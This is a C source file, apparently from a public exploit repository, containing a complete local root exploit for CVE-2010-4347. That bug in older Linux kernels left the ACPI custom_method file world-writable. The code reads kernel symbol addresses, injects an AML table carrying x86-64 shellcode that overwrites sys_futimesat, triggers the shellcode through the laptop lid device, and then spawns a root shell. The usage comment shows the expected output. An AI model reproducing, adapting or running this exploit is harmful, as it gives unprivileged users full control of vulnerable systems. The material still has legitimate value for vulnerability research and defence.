-
Notifications
You must be signed in to change notification settings - Fork 300
/
american-sign-language.c
253 lines (225 loc) · 7.49 KB
/
american-sign-language.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
/*
* american-sign-language.c
*
* Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation
* Jon Oberheide <[email protected]>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347
*
* This custom_method file allows to inject custom ACPI methods into the ACPI
* interpreter tables. This control file was introduced with world writeable
* permissions in Linux Kernel 2.6.33.
*
* Usage:
*
* $ gcc american-sign-language.c -o american-sign-language
* $ ./american-sign-language
* [+] resolving required symbols...
* [+] checking for world-writable custom_method...
* [+] checking for an ACPI LID device...
* [+] poisoning ACPI tables via custom_method...
* [+] triggering ACPI payload via LID device...
* [+] triggering exploit via futimesat...
* [+] launching root shell!
* # id
* uid=0(root) gid=0(root) groups=0(root)
*
* Notes:
*
* This vuln allows us to write custom ACPI methods and load them into the
* kernel as an unprivileged user. We compile some fancy ASL down to AML
* that overrides the ACPI method used when the status of the LID device is
* queried (eg. 'open' or 'closed' lid on a laptop). When the method is
* triggered, it overlays an OperationRegion on the physical address where
* sys_futimesat is located and overwrites the memory via the Store to
* escalate privileges whenever sys_futimesat is called.
*
* The payload is 64-bit only and depends on the existence of a LID device
* (eg. laptop), but the exploit will still tell you if you're vulnerable
* regardless. If you don't know how to work around these limitations, you
* probably shouldn't be running this in the first place. :-P
*
* Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>
/*
* The ASL payload looks like:
*
* DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {
* Method (\_SB.LID._LID, 0, NotSerialized) {
* OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392)
* Field(KMEM, AnyAcc, NoLock, Preserve) {
* HACK, 0x392
* }
* Store (Buffer () {
* 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec,
* 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24,
* 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf,
* 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89,
* 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff,
* 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9,
* 0xc3 }, HACK)
* Return (One)
* }
* }
*
* Feel free to `iasl -d` this is you don't trust me! ;-)
*/
#define PAYLOAD_AML \
"\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c" \
"\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49" \
"\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0" \
"\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41" \
"\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83" \
"\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24" \
"\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7" \
"\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01"
#define PAYLOAD_LEN 144
#define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method"
#define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state"
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
int
main(int argc, char **argv)
{
int ret;
FILE *fp;
char buf[64];
struct stat sb;
char payload[PAYLOAD_LEN] = PAYLOAD_AML;
unsigned long sys_futimesat, prepare_kernel_cred, commit_creds;
printf("[+] resolving required symbols...\n");
sys_futimesat = get_symbol("sys_futimesat");
if (!sys_futimesat) {
printf("[-] sys_futimesat symbol not found, aborting!\n");
exit(1);
}
prepare_kernel_cred = get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
exit(1);
}
commit_creds = get_symbol("commit_creds");
if (!commit_creds) {
printf("[-] commit_creds symbol not found, aborting!\n");
exit(1);
}
printf("[+] checking for world-writable custom_method...\n");
ret = stat(CUSTOM_METHOD, &sb);
if (ret < 0) {
printf("[-] custom_method not found, kernel is not vulnerable!\n");
exit(1);
}
if (!(sb.st_mode & S_IWOTH)) {
printf("[-] custom_method not world-writable, kernel is not vulnerable!\n");
exit(1);
}
printf("[+] checking for an ACPI LID device...\n");
ret = stat(HEY_ITS_A_LID, &sb);
if (ret < 0) {
printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n");
exit(1);
}
if (sizeof(sys_futimesat) != 8) {
printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n");
exit(1);
}
sys_futimesat &= ~0xffffffff80000000;
memcpy(&payload[63], &sys_futimesat, 4);
memcpy(&payload[101], &commit_creds, 4);
memcpy(&payload[108], &prepare_kernel_cred, 4);
printf("[+] poisoning ACPI tables via custom_method...\n");
fp = fopen(CUSTOM_METHOD, "w");
fwrite(payload, 1, sizeof(payload), fp);
fclose(fp);
printf("[+] triggering ACPI payload via LID device...\n");
fp = fopen(HEY_ITS_A_LID, "r");
fread(&buf, 1, sizeof(buf), fp);
fclose(fp);
printf("[+] triggering exploit via futimesat...\n");
ret = futimesat(0, "/tmp", NULL);
if (ret != -1 || errno != EDOTDOT) {
printf("[-] unexpected futimesat errno, exploit failed!\n");
exit(1);
}
if (getuid() != 0) {
printf("[-] privileges not escalated, exploit failed!\n");
exit(1);
}
printf("[+] launching root shell!\n");
execl("/bin/sh", "/bin/sh", NULL);
}